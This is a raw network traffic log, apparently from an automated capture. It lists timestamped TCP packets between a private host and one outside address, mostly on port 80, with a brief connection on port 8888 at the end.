Jan 13, 2025 09:47:11.593215942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.593215942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.593235016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593269110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593302011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593334913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593365908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.593365908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.593369007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593401909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593434095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593466997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593487978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.593488932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.593559027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.594952106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595035076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595098019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595132113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595149040 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.595174074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.595180035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595213890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595264912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595298052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595319986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.595336914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.595347881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595386028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595428944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595460892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595494032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595510960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.595510960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.595545053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595578909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595629930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.595632076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595664024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595698118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.595716953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595751047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595782995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595814943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595818996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.595849037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595881939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595916033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595940113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.595940113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.595947981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.595982075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596014977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596036911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.596036911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.596048117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596080065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596112967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596146107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596170902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.596170902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.596179008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596214056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596237898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.596250057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596283913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596317053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596350908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596374989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.596374989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.596393108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596441984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596476078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596508026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596541882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596575022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596606970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596609116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.596609116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.596609116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.596638918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596674919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.596762896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.596762896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.603213072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.603789091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.603810072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.603821039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.603874922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.603888988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.603893042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.603904009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.603916883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.603929996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.603940010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.603966951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.603966951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.603966951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.618690014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.618742943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.618777990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.618808031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.618810892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.618844986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.618876934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.618911028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.618942022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.618942022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.618956089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.630126953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.630178928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.630213976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.630247116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.630268097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.630279064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.630307913 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.630311966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.630347013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.630378962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.630423069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.630423069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.649138927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649193048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649246931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649291039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.649296045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649331093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649364948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649399996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649430990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649462938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649468899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.649468899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.649468899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.649494886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649528027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649545908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.649559021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649594069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649626970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649660110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649693012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.649734974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.649734974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.649734974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.660430908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660480976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660516024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660548925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660561085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.660584927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660619020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660653114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660656929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.660656929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.660686016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660736084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660753012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.660789967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660841942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660865068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.660892963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660944939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.660994053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661005020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.661026955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661046982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.661077976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661128044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661160946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661195040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661202908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.661231041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.661247015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661281109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661330938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661361933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661412001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661448002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661480904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661514997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661546946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661571980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.661597013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661629915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661664009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661675930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.661695004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661731005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661781073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661813974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661847115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661849976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.661849976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.661849976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.661881924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661900997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.661911011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661942959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.661969900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.661976099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662010908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662044048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662072897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.662075996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662108898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662130117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.662141085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662173986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662205935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662239075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662240028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.662272930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662275076 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.662307024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662318945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.662338972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662373066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662374973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.662405014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662419081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.662437916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662470102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662492037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.662502050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662535906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662570953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662585974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.662601948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662636042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662667036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662678957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.662678957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.662700891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662731886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662763119 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.662765980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.662888050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.685902119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.685939074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.685988903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.686021090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.686054945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.686085939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.686119080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.686135054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.686136007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.686136007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.686151028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.686183929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.686199903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.686214924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.686249018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.686280966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.686314106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.686340094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.686340094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.686346054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.690490007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.690541983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.690597057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.690629005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.690644979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.690644979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.690660954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.690692902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.690701962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.690726042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.690758944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.690923929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.694360018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.705378056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.705429077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.705461025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.705490112 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.705507994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.705540895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.705574036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.705606937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.705640078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.705676079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.705676079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.705676079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.716973066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.717025995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.717062950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.717094898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.717129946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.717159986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.717159986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.717163086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.717197895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.717247963 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.735754013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735769033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735785007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735795021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735804081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735815048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735831022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735835075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.735843897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735855103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735871077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735882044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735892057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735939026 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.735939026 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.735939026 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.735945940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735955954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735965014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.735975027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.736032963 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.747016907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.747026920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.747042894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.747054100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.747065067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.747216940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.747216940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.782274961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.787115097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.787147999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.787158966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.787178040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.787189007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.787203074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.787214994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.787234068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.787271023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.835120916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.906651974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:12.016268969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:12.180233955 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:12.574583054 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:12.579472065 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:12.579544067 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:12.580238104 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:12.585108042 CET	8888	49707	193.143.1.205	192.168.2.8
